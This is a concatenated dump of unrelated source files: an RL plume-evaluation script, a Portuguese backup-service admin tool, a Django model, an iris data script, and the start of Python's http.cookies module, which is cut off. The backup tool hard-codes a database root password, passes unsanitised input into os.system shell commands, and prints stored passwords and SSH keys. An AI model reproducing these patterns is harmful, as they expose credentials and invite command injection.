diffusionx=args.diffusionx,\n outprefix=OUTPREFIX\n )\n # agent_analysis.visualize_episodes(episode_logs[:args.viz_episodes], \n # zoom=zoom, \n # dataset=args.dataset,\n # animate=True,\n # diffusionx=args.diffusionx,\n # fprefix=args.dataset,\n # outprefix=OUTPREFIX\n # )\n\n # for episode_idx in range(len(episode_logs[:args.viz_episodes])):\n # log = episode_logs[episode_idx]\n # if actor_critic.is_recurrent:\n # ep_activity = pd.DataFrame(log['activity'])['rnn_hxs'].to_list()\n # else:\n # ep_activity = pd.DataFrame(log['activity'])['hx1_actor'].to_list()\n\n # traj_df = pd.DataFrame( log['trajectory'] )\n # traj_df['t_val'] = [record[0]['t_val'] for record in log['infos']]\n # log_analysis.animate_activity_1episode(ep_activity, \n # traj_df, \n # episode_idx, \n # fprefix=args.dataset,\n # outprefix=OUTPREFIX,\n # pca_dims=3)\n\n except Exception as e:\n print(f\"Exception: {e}\")\n traceback.print_exc()\n\n\n\n #### ------- Sparse ------- #### \n if test_sparsity:\n for birthx in [0.8, 0.6, 0.4, 0.2]:\n print(\"Sparse/birthx:\", birthx)\n try:\n args.birthx_max = birthx # load time birthx\n args.birthx = 1.0\n args.loc_algo = 'quantile'\n args.diff_max = 0.8\n args.movex = 1\n\n env = make_vec_envs(\n args.env_name,\n args.seed + 1000,\n num_processes=1, \n gamma=0.99, # redundant\n log_dir=None, # redundant\n device='cpu',\n args=args,\n allow_early_resets=False)\n\n episode_logs, episode_summaries = evaluate_agent(actor_critic, env, args)\n\n fname3 = f\"{OUTPREFIX}/{args.dataset}_{birthx}.pkl\"\n with open(fname3, 'wb') as f_handle:\n pickle.dump(episode_logs, f_handle)\n print(\"Saving\", fname3)\n\n fname3 = f\"{OUTPREFIX}/{args.dataset}_{birthx}_summary.csv\"\n pd.DataFrame(episode_summaries).to_csv(fname3)\n print(\"Saving\", fname3)\n\n\n zoom = 1 if 'constant' in args.dataset else 2 \n zoom = 3 if args.walking else zoom\n agent_analysis.visualize_episodes(episode_logs[:args.viz_episodes], \n zoom=zoom, \n dataset=args.dataset,\n animate=False,\n fprefix=f'sparse_{args.dataset}_{birthx}', \n outprefix=OUTPREFIX,\n diffusionx=args.diffusionx,\n birthx=birthx,\n )\n # agent_analysis.visualize_episodes(episode_logs[:args.viz_episodes], \n # zoom=zoom, \n # dataset=args.dataset,\n # animate=True,\n # fprefix=f'sparse_{args.dataset}_{birthx}', \n # outprefix=OUTPREFIX,\n # diffusionx=args.diffusionx,\n # birthx=birthx,\n # )\n\n # for episode_idx in range(len(episode_logs[:args.viz_episodes])):\n # log = episode_logs[episode_idx]\n # if actor_critic.is_recurrent:\n # ep_activity = pd.DataFrame(log['activity'])['rnn_hxs'].to_list()\n # else:\n # ep_activity = pd.DataFrame(log['activity'])['hx1_actor'].to_list()\n\n # traj_df = pd.DataFrame( log['trajectory'] )\n # traj_df['t_val'] = [record[0]['t_val'] for record in log['infos']]\n\n # log_analysis.animate_activity_1episode(ep_activity, \n # traj_df, \n # episode_idx, \n # fprefix=f'sparse_{args.dataset}_{birthx}',\n # outprefix=OUTPREFIX,\n # pca_dims=3)\n\n except Exception as e:\n print(f\"Exception: {e}\")\n traceback.print_exc()\n\n\n\n\n\n### MAIN ###\nif __name__ == \"__main__\":\n # TODO: Needs updating\n parser = argparse.ArgumentParser(description='eval')\n parser.add_argument('--seed', type=int, default=137)\n parser.add_argument('--algo', default='ppo')\n parser.add_argument('--dataset', default='constantx5b5')\n parser.add_argument('--model_fname')\n parser.add_argument('--test_episodes', type=int, default=100)\n parser.add_argument('--viz_episodes', type=int, default=10)\n # parser.add_argument('--viz_episodes', type=int, default=10)\n\n parser.add_argument('--fixed_eval', action='store_true', default=False)\n parser.add_argument('--test_sparsity', action='store_true', default=False)\n\n # env related\n parser.add_argument('--diffusionx', type=float, default=1.0)\n\n\n args = parser.parse_args()\n print(args)\n args.det = True # override\n\n np.random.seed(args.seed)\n args.env_name = 'plume'\n args.env_dt = 0.04\n args.turnx = 1.0\n args.movex = 1.0\n args.birthx = 1.0\n args.loc_algo = 'quantile'\n args.time_algo = 'uniform'\n args.diff_max = 0.8\n args.diff_min = 0.8\n args.auto_movex = False\n args.auto_reward = False\n args.wind_rel = True\n args.action_feedback = False\n # args.action_feedback = True\n args.walking = False\n args.radiusx = 1.0\n args.r_shaping = ['step'] # redundant\n args.rewardx = 1.0\n args.squash_action = True\n\n args.diffusion_min = args.diffusionx\n args.diffusion_max = args.diffusionx\n\n args.flipping = False\n args.odor_scaling = False\n args.qvar = 0.0\n args.stray_max = 2.0\n args.birthx_max = 1.0\n args.masking = None\n args.stride = 1\n args.obs_noise = 0.0\n args.act_noise = 0.0\n\n args.dynamic = False\n\n args.recurrent_policy = True if ('GRU' in args.model_fname) or ('RNN' in args.model_fname) else False\n args.rnn_type = 'VRNN' if 'RNN' in args.model_fname else 'GRU'\n\n args.stacking = 0\n if 'MLP' in args.model_fname:\n args.stacking = int( args.model_fname.split('MLP_s')[-1].split('_')[0] )\n\n actor_critic, ob_rms = torch.load(args.model_fname, map_location=torch.device('cpu'))\n eval_loop(args, actor_critic, test_sparsity=args.test_sparsity)\n","sub_path":"code/ppo/evalCli.py","file_name":"evalCli.py","file_ext":"py","file_size_in_byte":16998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"56063249","text":"#!/reposit/repo-smartBackup/bin/python\n#########################################\n#########################################\n##\n## PYTHON 3.6 - EDITAR CADASTRO\n## AMBIENTE: DIGITAL OCEAN\n## DATA CRIAÇÃO: 02/07/2018\n## DATA MODIFICAÇÃO: 15/08/2018\n## PROGRAMADOR: GUILHERME BARROS\n##\n#########################################\n#########################################\n\nimport mysql.connector\nimport time\nimport os\nimport platform\n\nconfig = {'user': 'root',\n 'password': 'naoesqueceasenha',\n 'host': 'localhost',\n 'database': 'smart_backup'}\n\ndataAtualExtensa = time.strftime(\"%Y-%m-%d\")\n\nopcoesSim = [\"sim\", \"SIM\", \"Sim\", \"s\", \"S\"]\nopcoesNao = [\"nao\", \"NAO\", \"Nao\", \"n\", \"N\"]\n\ndef Introducao():\n LimpartTela()\n mensagem = \"## SmartCloudDO - Editar Cadastro ##\"\n tamanho = len(mensagem)\n\n print(\"#\" * tamanho)\n print(mensagem)\n print(\"#\" * tamanho)\n print()\n\ndef LimpartTela():\n if \"Windows\" in platform.system():\n os.system(\"cls\")\n elif \"Linux\" in platform.system():\n os.system(\"clear && printf '\\e[3J'\")\n\ndef ModificarDadosCliente(cCodigo):\n scriptEditarCliente = \"/reposit/repo-smartBackup/scripts/Administracao/bin/do-EditarCliente.py \" + cCodigo\n os.system(scriptEditarCliente)\n Select_ClienteInfos(cCodigo)\n\ndef ModificarDadosBackup(cCodigo):\n backup = ProcurarCliente(cCodigo)\n scriptEditarBackup = \"/reposit/repo-smartBackup/scripts/Administracao/bin/do-EditarBackup.py \" + str(backup)\n os.system(scriptEditarBackup)\n Select_ClienteInfos(cCodigo)\n\ndef Cadastrar_Backup(cCodigo):\n scriptCadastroBackup = \"/reposit/repo-smartBackup/scripts/Administracao/bin/do-CadastroBackup.py \" + cCodigo\n os.system(scriptCadastroBackup)\n scriptNovoBackup = \"/reposit/repo-smartBackup/scripts/Administracao/bin/do-NovoBackup-DO.py \" + cCodigo\n os.system(scriptNovoBackup)\n Select_ClienteInfos(cCodigo)\n\ndef LogsBackup(cCodigo):\n backup = ProcurarCliente(cCodigo)\n\nclass Cliente:\n def __init__(self, cCodigo, cNome, eContratado, eUtilizado, cAlias, dCadastro, cStatus):\n self.clienteCodigo = cCodigo\n self.clienteNome = cNome\n self.espacoContratado = eContratado\n self.espacoUtilizado = eUtilizado\n self.codigoAlias = cAlias\n self.dataCadastro = dCadastro\n self.clienteStatus = cStatus\n\n def _Dados(self):\n def _Sub_AtualizaInfos(cliente_codigo):\n scriptBackup1 = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-Backup1.py \" + cliente_codigo\n scriptBackup11 = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-Backup11.py \" + cliente_codigo\n scriptBackup12 = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-Backup12.py \" + cliente_codigo\n scriptBackup2 = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-Backup2.py \" + cliente_codigo\n scriptBackup3 = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-Backup3.py \" + cliente_codigo\n scriptPontoMontagem = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-PontoMontagem.py \" + cliente_codigo\n scriptClienteInfo = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-ClienteInfo.py \" + cliente_codigo\n scriptUpdate = \"/reposit/repo-smartBackup/scripts/AtualizaScripts/do-AtualizaScript-Update.py \" + cliente_codigo\n os.system(scriptBackup1)\n os.system(scriptBackup11)\n os.system(scriptBackup12)\n os.system(scriptBackup2)\n os.system(scriptBackup3)\n os.system(scriptPontoMontagem)\n os.system(scriptClienteInfo)\n os.system(scriptUpdate)\n\n repetir = 1\n while repetir == 1:\n if int(self.clienteStatus) == 1:\n clienteStatus_desc = \"Ativo\"\n elif int(self.clienteStatus) == 0:\n clienteStatus_desc = \"Inativo\"\n\n Introducao()\n print(\"_\" * 50)\n print(\"CLIENTE\")\n print(\" .Nome: \" + self.clienteNome)\n print(\" + código: \" + self.clienteCodigo)\n print(\" + espaço contratado/utilizado: \" + str(self.espacoContratado) + \" / \" + str(self.espacoUtilizado))\n print(\" + alias: \" + str(self.codigoAlias))\n print(\" + data de cadastro: \" + str(self.dataCadastro))\n print(\" + status: \" + clienteStatus_desc)\n print(\"_\" * 50)\n\n contagemBackups = Select_ContagemBackups(self.clienteCodigo)\n\n if str(contagemBackups) == \"None\" or int(contagemBackups) == 0:\n opcoesMenuEditar = [\"0\", \"1\", \"2\"]\n print(\" Backup(s) não encontrado(s)!!!\\n\")\n print(\"#\" * 50)\n print(\"#\")\n print(\"# (1). Modificar dados de cliente\")\n print(\"# (2). Cadastrar novo backup\")\n print(\"#\")\n print(\"# (0). Sair\")\n print(\"#\")\n opcaoEntrada = input(\"#.Digite a opção desejada:\\n\")\n while not opcaoEntrada in opcoesMenuEditar:\n opcaoEntrada = input(\"! Opcao invalida!!!\\n\")\n if opcaoEntrada in opcoesMenuEditar:\n if int(opcaoEntrada) == 1:\n ModificarDadosCliente(self.clienteCodigo)\n repetir = 0\n elif int(opcaoEntrada) == 2:\n Cadastrar_Backup(self.clienteCodigo)\n repetir = 0\n elif int(opcaoEntrada) == 0:\n print(\" ...saindo menu de edição\")\n _Sub_AtualizaInfos(self.clienteCodigo)\n repetir = 0\n elif int(contagemBackups) > 0:\n Select_BackupInfos(self.clienteCodigo)\n\n opcoesMenuEditar = [\"0\", \"1\", \"2\", \"3\", \"4\"]\n print(\"#\" * 50)\n print(\"#\")\n print(\"# (1). Modificar dados de cliente\")\n print(\"# (2). Modificar dados de backup\")\n print(\"# (3). Cadastrar novo backup\")\n print(\"# (4). Logs de backup\")\n print(\"#\")\n print(\"# (0). Sair\")\n print(\"#\")\n opcaoEntrada = input(\"#.Digite a opção desejada:\\n\")\n while not opcaoEntrada in opcoesMenuEditar:\n opcaoEntrada = input(\"! Opcao invalida!!!\\n\")\n if opcaoEntrada in opcoesMenuEditar:\n if int(opcaoEntrada) == 1:\n ModificarDadosCliente(self.clienteCodigo)\n repetir = 0\n elif int(opcaoEntrada) == 2:\n ModificarDadosBackup(self.clienteCodigo)\n repetir = 0\n elif int(opcaoEntrada) == 3:\n Cadastrar_Backup(self.clienteCodigo)\n repetir = 0\n elif int(opcaoEntrada) == 4:\n LogsBackup(self.clienteCodigo)\n repetir = 0\n elif int(opcaoEntrada) == 0:\n print(\" ...saindo menu de edição\")\n _Sub_AtualizaInfos(self.clienteCodigo)\n repetir = 0\n\nclass Backup:\n def __init__(self, bId, bNome, bTipo, bDir, bAgendamento, cCodigo, bUltimoI, bUltimoF,sNome, sSo, sIp, sAmbiente,\n sTipoIdent, sCodigoIdent, cSsh, pMontagem, pMontagemLogin, pMontagemSenha, pMontagemDir, bStatus, dataCadastro, cDiretorio):\n self.backupId = bId\n self.backupNome = bNome\n self.backupTipo = bTipo\n self.backupDiretorio = bDir\n self.backupAgendamento = bAgendamento\n self.clienteCodigo = cCodigo\n self.backupUltimoI = bUltimoI\n self.backupUltimoF = bUltimoF\n self.servidorNome = sNome\n self.servidorSo = sSo\n self.servidorIp = sIp\n self.servidorAmbiente = sAmbiente\n self.servidorTipoIdent = sTipoIdent\n self.servidorCodigoIdent = sCodigoIdent\n self.chaveSsh = cSsh\n self.pontoMontagem = pMontagem\n self.pontoMontagemLogin = pMontagemLogin\n self.pontoMontagemSenha = pMontagemSenha\n self.pontoMontagemDir = pMontagemDir\n self.backupStatus = bStatus\n self.backupDataCadastro = dataCadastro\n self.clienteDiretorio = cDiretorio\n\n def _Dados(self):\n if int(self.backupStatus) == 1:\n backupStatus_desc = \"Iniciado\"\n elif int(self.backupStatus) == 2:\n backupStatus_desc = \"Em andamento\"\n elif int(self.backupStatus) == 5:\n backupStatus_desc = \"Não executado\"\n elif int(self.backupStatus) == 9:\n backupStatus_desc = \"Concluído\"\n elif int(self.backupStatus) == 0:\n backupStatus_desc = \"Inativo\"\n\n if int(self.servidorAmbiente) == 1:\n servidorAmbiente_desc = \"1-Digital Ocean\"\n elif int(self.servidorAmbiente) == 2:\n servidorAmbiente_desc = \"2-Reposit\"\n elif int(self.servidorAmbiente) == 3:\n servidorAmbiente_desc = \"3-Algar\"\n elif int(self.servidorAmbiente) == 4:\n servidorAmbiente_desc = \"4-Ascenty\"\n else:\n servidorAmbiente_desc = str(self.servidorAmbiente) + \" - Desconhecido\"\n\n print(\"BACKUP\")\n print(\" .Nome: \" + self.backupNome + \"( \" + str(self.backupId) + \" )\")\n print(\" + tipo: \" + str(self.backupTipo))\n print(\" + diretório: \" + self.backupDiretorio + \" + agendamento: \" + str(self.backupAgendamento))\n print(\" + diretório do cliente: \" + self.clienteDiretorio)\n if int(self.pontoMontagem) == 2:\n print(\" + ponto de montagem: Não\")\n elif int(self.pontoMontagem) == 1:\n print(\" + ponto de montagem: Sim\")\n print(\" - login: \" + self.pontoMontagemLogin)\n print(\" - senha: \" + self.pontoMontagemSenha)\n print(\" - diretório: \" + self.pontoMontagemDir)\n print(\" + data da última execução: \" + str(self.backupUltimoI) + \" - \" + str(self.backupUltimoF))\n print(\" + status: \" + backupStatus_desc)\n print(\"\")\n print(\" + servidor: \" + self.servidorNome + \" + ambiente: \" + servidorAmbiente_desc)\n print(\" + so: \" + self.servidorSo + \" Ip: \" + str(self.servidorIp))\n print(\" + tipo de identificação: \" + str(self.servidorTipoIdent) + \" + identificação: \" + self.servidorCodigoIdent)\n print(\" + chave ssh: \" + self.chaveSsh)\n print(\" + data de cadastro: \" + str(self.backupDataCadastro))\n print(\"\")\n\ndef ProcurarCliente(cliente_codigo):\n def Sub_SelectContagemBackup_Id(backup_id, cliente_codigo):\n try:\n consultaBackup = \"\"\"SELECT COUNT(id)\n FROM backup_info\n WHERE id = %s\n AND codigo_cliente = %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaBackup, (int(backup_id), cliente_codigo, ))\n contagem = cursor.fetchone()[0]\n cursor.close()\n conexao.close()\n\n return contagem\n except:\n print(\" ERRO ao procurar backup com o código informado!!!\")\n\n backupsContagemGeral = Select_ContagemBackups(cliente_codigo)\n backupSelecionado = -1\n listaBackupsId = []\n if backupsContagemGeral > 1:\n backupsContagem = backupsContagemGeral\n while backupsContagem > 1 and not backupSelecionado == \"0\":\n consultaBackup = \"\"\"SELECT id, nome, tipo\n FROM backup_info\n WHERE codigo_cliente = %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaBackup, (cliente_codigo, ))\n listaBackups = cursor.fetchall()\n cursor.close()\n conexao.close()\n\n Introducao()\n print(\".Backups disponíveis:\")\n for item in range(len(listaBackups)):\n backupId = listaBackups[item][0]\n backupNome = listaBackups[item][1]\n backupTipo = listaBackups[item][2]\n listaBackupsId.append(str(backupId))\n\n print(\" -- \" + str(backupId) + \" - \" + backupNome + \"( \" + str(backupTipo) + \" )\")\n backupSelecionado = input(\"\\n.Digite o código do backup desejado: \")\n\n while not backupSelecionado in listaBackupsId and not backupSelecionado == \"0\":\n print(listaBackupsId)\n backupSelecionado = input(\".Id inválido! Digite o código do backup desejado: \")\n\n if not backupSelecionado == \"0\":\n backupsContagem = Sub_SelectContagemBackup_Id(backupSelecionado, cliente_codigo)\n elif backupsContagemGeral == 1:\n backupsContagem = 1\n consultaBackup = \"\"\"SELECT id\n FROM backup_info\n WHERE codigo_cliente = %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaBackup, (cliente_codigo, ))\n backupSelecionado = cursor.fetchone()[0]\n cursor.close()\n conexao.close()\n\n if backupsContagem == 1:\n return backupSelecionado\n\ndef Select_ContagemClienteCodigo(cliente_codigo):\n try:\n consultaClienteCodigo = \"\"\"SELECT COUNT(codigo)\n FROM clientes\n WHERE codigo LIKE %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaClienteCodigo, (\"%\" + cliente_codigo + \"%\", ))\n contagem = cursor.fetchone()[0]\n cursor.close()\n conexao.close()\n\n return contagem\n except:\n print(\" ERRO ao procurar cliente com o código informado!!!\")\n\ndef Select_ContagemBackups(cliente_codigo):\n try:\n consultaBackup = \"\"\"SELECT COUNT(id)\n FROM backup_info\n WHERE codigo_cliente LIKE %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaBackup, (\"%\" + cliente_codigo + \"%\", ))\n contagem = cursor.fetchone()[0]\n cursor.close()\n conexao.close()\n\n return contagem\n except:\n print(\" ERRO ao procurar backup com o código informado!!!\")\n\ndef Select_ClienteCodigoMultiplo(cliente_codigo):\n consultaClienteCodigo = \"\"\"SELECT codigo, nome, status\n FROM clientes\n WHERE codigo LIKE %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaClienteCodigo, (\"%\" + cliente_codigo + \"%\", ))\n listaClientesCodigos = cursor.fetchall()\n cursor.close()\n conexao.close()\n\n Introducao()\n for clientes in range(len(listaClientesCodigos)):\n clienteCodigo = listaClientesCodigos[clientes][0]\n clienteNome = listaClientesCodigos[clientes][1]\n clienteStatus = listaClientesCodigos[clientes][2]\n\n print(\" -- \" + clienteCodigo + \" - \" + clienteNome + \" ( \" + str(clienteStatus) + \" )\")\n\n codigoEntrada = input(\"\\n.Digita o código de cliente desejado:\\n\")\n contagem = Select_ContagemClienteCodigo(codigoEntrada)\n return [contagem, codigoEntrada]\n\ndef Select_ClienteInfos(cliente_codigo):\n Introducao()\n\n consultaClienteCodigo = \"\"\"SELECT codigo, nome, ROUND(qtd_contratada/1024), ROUND(qtd_utilizada/1024), codigo_alias, data_cadastro, status\n FROM clientes\n WHERE codigo LIKE %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaClienteCodigo, (\"%\" + cliente_codigo + \"%\", ))\n listaClientesCodigos = cursor.fetchall()\n cursor.close()\n conexao.close()\n\n for item in range(len(listaClientesCodigos)):\n clienteCodigo = listaClientesCodigos[item][0]\n clienteNome = listaClientesCodigos[item][1]\n espacoContratado = listaClientesCodigos[item][2]\n espacoUtilizado = listaClientesCodigos[item][3]\n clienteCodigoAlias = listaClientesCodigos[item][4]\n dataClienteCadastro = listaClientesCodigos[item][5]\n clienteStatus = listaClientesCodigos[item][6]\n\n novoCliente = Cliente(clienteCodigo, clienteNome, espacoContratado, espacoUtilizado, clienteCodigoAlias, dataClienteCadastro, clienteStatus)\n novoCliente._Dados()\n\ndef Select_BackupInfos(cliente_codigo):\n consultaBackup = \"\"\"SELECT id, nome, tipo, diretorio, agendamento, ultimo_backupi, ultimo_backupf, hostname, so, ip,\n ambiente, tipo_codigo_ident, codigo_ident, ssh_key, ponto_montagem, login, senha, diretorio_montagem, status, data_cadastro, diretorio_cliente\n FROM backup_info\n WHERE codigo_cliente = %s\"\"\"\n conexao = mysql.connector.connect(**config)\n cursor = conexao.cursor(buffered=True)\n cursor.execute(consultaBackup, (cliente_codigo, ))\n listaBackups = cursor.fetchall()\n cursor.close()\n conexao.close()\n\n for item in range(len(listaBackups)):\n backupId = listaBackups[item][0]\n backupNome = listaBackups[item][1]\n backupTipo = listaBackups[item][2]\n backupDiretorio = listaBackups[item][3]\n backupAgendamento = listaBackups[item][4]\n backupUltimoI = listaBackups[item][5]\n backupUltimoF = listaBackups[item][6]\n servidorNome = listaBackups[item][7]\n servidorSo = listaBackups[item][8]\n servidorIp = listaBackups[item][9]\n servidorAmbiente = listaBackups[item][10]\n servidorTipoIdent = listaBackups[item][11]\n servidorCodigoIdent = listaBackups[item][12]\n servidorChaveSsh = listaBackups[item][13]\n pontoMontagem = listaBackups[item][14]\n pontoMontagemLogin = listaBackups[item][15]\n pontoMontagemSenha = listaBackups[item][16]\n pontoMontagemDiretorio = listaBackups[item][17]\n backupStatus = listaBackups[item][18]\n backupDataCadastro = listaBackups[item][19]\n clienteDiretorio = listaBackups[item][20]\n\n novoBackup = Backup(backupId, backupNome, backupTipo, backupDiretorio, backupAgendamento, cliente_codigo, backupUltimoI, backupUltimoF,\n servidorNome, servidorSo, servidorIp, servidorAmbiente, servidorTipoIdent, servidorCodigoIdent, servidorChaveSsh,\n pontoMontagem, pontoMontagemLogin, pontoMontagemSenha, pontoMontagemDiretorio, backupStatus, backupDataCadastro, clienteDiretorio)\n novoBackup._Dados()\n print(\"_\" * 50)\n\n### INICIO ###\n\ndef main():\n Introducao()\n\n clienteCodigoEntrada = input(\".Digite o código do cliente:\\n\")\n if clienteCodigoEntrada and not clienteCodigoEntrada == \"0\":\n contagemCodigoCliente = Select_ContagemClienteCodigo(clienteCodigoEntrada)\n #print(\"contagem codigo cliente: \" + str(contagemCodigoCliente))\n\n if contagemCodigoCliente == 0:\n print(\" Cliente não encontrado!\")\n else:\n while int(contagemCodigoCliente) > 1 and clienteCodigoEntrada and not clienteCodigoEntrada == \"0\":\n resultado = Select_ClienteCodigoMultiplo(clienteCodigoEntrada)\n contagemCodigoCliente = resultado[0]\n clienteCodigoEntrada = resultado[1]\n else:\n if contagemCodigoCliente == 1:\n Select_ClienteInfos(clienteCodigoEntrada)\n elif contagemCodigoCliente == 0:\n print(\" Cliente não encontrado!\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Digital Ocean/Administracao/do-EditarCadastro.py","file_name":"do-EditarCadastro.py","file_ext":"py","file_size_in_byte":20181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"170587432","text":"from django.db import models\nfrom django.core.urlresolvers import reverse\n\n\nclass Something(models.Model):\n some_key= models.CharField(max_length=200)\n pub_date = models.DateTimeField('date published')\n\n def get_absolute_url(self):\n return reverse('myapp:detail',kwargs={'pk':self.pk})\n\nclass Choice(models.Model):\n some = models.ForeignKey(Something, related_name='choice_set')\n choice_text = models.CharField(max_length=200)\n","sub_path":"new_site/myapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"496759469","text":"# Project 2018 Part 7.1 Updating Program to Correctly Divide up Data Set to Iris Class and Assigning Data to Column Headings for Future Analysis\r\n\r\n# Import Numpy Library\r\nimport numpy\r\n\r\n# Import Panda Lbrary\r\nimport pandas as pd \r\n\r\n# Import Matplotlib Library for Generating Graphs\r\nimport matplotlib.pyplot as plt\r\n\r\n# Assigning Headings to Each Column\r\ncol_Names=[\"SepalLength\", \"SepalWidth\", \"PetalLength\", \"PetalWidth\", \"Class\"] # Assigning Headings to Each Colunm\r\ndata = pd.read_csv('irisdata/iris.csv',names=col_Names) # Assigning the data set to the pandas library with each column labeled\r\nSetosadata = data.iloc[0:50] # Assigning Setosadata to rows 0 to 49\r\nVersicolor = data.iloc [50:100] # Assigning Versicolor to rows 50 to 100\r\nVirginica = data.iloc [100:150] # Assigning Virginica to rows 100 to 150\r\n\r\ndata = numpy.genfromtxt('irisdata/iris.csv',delimiter=',') # Assigning Data to numpy library \r\n\r\n# Assigning Data to the Setosa Iris\r\n\r\nSetosadataSepallength = data[0:50:,0] # Assigning the Setosa Iris Sepal Length data for 0 to row 50 in the First Column\r\nSetosadataSepalwidth = data[0:50:,1] # Assigning the Setosa Iris Sepal Width data for 0 to row 50 in the Second Column\r\nSetosadataPetallength = data[0:50:,2] # Assigning the Setosa Iris Petal Length data for 0 to row 50 in the Third Column\r\nSetosadataPetalwidth = data[0:50:,3] # Assigning the Setosa Iris Pepal Width data for 0 to row 50 in the Fourth Column\r\n\r\n# Assigning Data to the Versicolor Iris\r\n\r\nVersicolordataSepallength = data[50:100:,0] # Assigning the Versicolor Iris Sepal Length data for 50 to row 100 in the First Column\r\nVersicolordataSepalwidth = data[50:100:,1] # Assigning the Versicolor Iris Sepal Width data for 50 to row 100 in the Second Column\r\nVersicolordataPetallength = data[50:100:,2] # Assigning the Versicolor Iris Petal Length data for 50 to row 100 in the Third Column\r\nVersicolordataPetalwidth = data[50:100:,3] # Assigning the Versicolor Iris Pepal Width data for 50 to row 100 in the Fourth Column\r\nprint(Setosadata)\r\nprint(Versicolor)\r\nprint(Virginica)\r\nprint('The Mean of the SetosadataSepallength is',numpy.mean(SetosadataSepallength))\r\nprint('The Mean of the SetosadataSepalwidth is',numpy.mean(SetosadataSepalwidth))\r\nprint('The Mean of the SetosadataPetallength is',numpy.mean(SetosadataPetallength))\r\nprint('The Mean of the SetosadataPetalwidth is',numpy.mean(SetosadataPetalwidth))","sub_path":"ProjectP7.1.py","file_name":"ProjectP7.1.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"395994237","text":"\"\"\"\nHere's a sample session to show how to use this module.\nAt the moment, this is the only documentation.\n\nThe Basics\n----------\n\nImporting is easy...\n\n >>> from http import cookies\n\nMost of the time you start by creating a cookie.\n\n >>> C = cookies.SimpleCookie()\n\nOnce you've created your Cookie, you can add values just as if it were\na dictionary.\n\n >>> C = cookies.SimpleCookie()\n >>> C[\"fig\"] = \"newton\"\n >>> C[\"sugar\"] = \"wafer\"\n >>> C.output()\n 'Set-Cookie: fig=newton\\\\r\\\\nSet-Cookie: sugar=wafer'\n\nNotice that the printable representation of a Cookie is the\nappropriate format for a Set-Cookie: header. This is the\ndefault behavior. You can change the header and printed\nattributes by using the .output() function\n\n >>> C = cookies.SimpleCookie()\n >>> C[\"rocky\"] = \"road\"\n >>> C[\"rocky\"][\"path\"] = \"/cookie\"\n >>> print(C.output(header=\"Cookie:\"))\n Cookie: rocky=road; Path=/cookie\n >>> print(C.output(attrs=[], header=\"Cookie:\"))\n Cookie: rocky=road\n\nThe load() method of a Cookie extracts cookies from a string. In a\nCGI script, you would use this method to extract the cookies from the\nHTTP_COOKIE environment variable.\n\n >>> C = cookies.SimpleCookie()\n >>> C.load(\"chips=ahoy; vienna=finger\")\n >>> C.output()\n 'Set-Cookie: chips=ahoy\\\\r\\\\nSet-Cookie: vienna=finger'\n\nThe load() method is darn-tootin smart about identifying cookies\nwithin a string. Escaped quotation marks, nested semicolons, and other\nsuch trickeries do not confuse it.\n\n >>> C = cookies.SimpleCookie()\n >>> C.load('keebler=\"E=everybody; L=\\\\\\\\\"Loves\\\\\\\\\"; fudge=\\\\\\\\012;\";')\n >>> print(C)\n Set-Cookie: keebler=\"E=everybody; L=\\\\\"Loves\\\\\"; fudge=\\\\012;\"\n\nEach element of the Cookie also supports all of the RFC 2109\nCookie attributes. Here's an example which sets the Path\nattribute.\n\n >>> C = cookies.SimpleCookie()\n >>> C[\"oreo\"] = \"doublestuff\"\n >>> C[\"oreo\"][\"path\"] = \"/\"\n >>> print(C)\n Set-Cookie: oreo=doublestuff; Path=/\n\nEach dictionary element has a 'value' attribute, which gives you\nback the value associated with the key.\n\n >>> C = cookies.SimpleCookie()\n >>> C[\"twix\"] = \"none for you\"\n >>> C[\"twix\"].value\n 'none for you'\n\nThe SimpleCookie expects that all values should be standard strings.\nJust to be sure, SimpleCookie invokes the str() builtin to convert\nthe value to a string, when the values are set dictionary-style.\n\n >>> C = cookies.SimpleCookie()\n >>> C[\"number\"] = 7\n >>> C[\"string\"] = \"seven\"\n >>> C[\"number\"].value\n '7'\n >>> C[\"string\"].value\n 'seven'\n >>> C.output()\n 'Set-Cookie: number=7\\\\r\\\\nSet-Cookie: string=seven'\n\nFinis.\n\"\"\"\nimport re\nimport string\n__all__ = ['CookieError', 'BaseCookie', 'SimpleCookie']\n_nulljoin = ''.join\n_semispacejoin = '; '.join\n_spacejoin = ' '.join\n\n\ndef _warn_deprecated_setter(setter):\n import warnings\n msg = (\n 'The .%s setter is deprecated. The attribute will be read-only in future releases. Please use the set() method instead.'\n % setter)\n warnings.warn(msg, DeprecationWarning, stacklevel=3)\n\n\nclass CookieError(Exception):\n pass\n\n\n_LegalChars = string.ascii_letters + string.digits + \"!#$%&'*+-.^_`|~:\"\n_UnescapedChars = _LegalChars + ' ()/<=>?@[]{}'\n_Translator = {n: ('\\\\%03o' % n) for n in set(range(256)) - 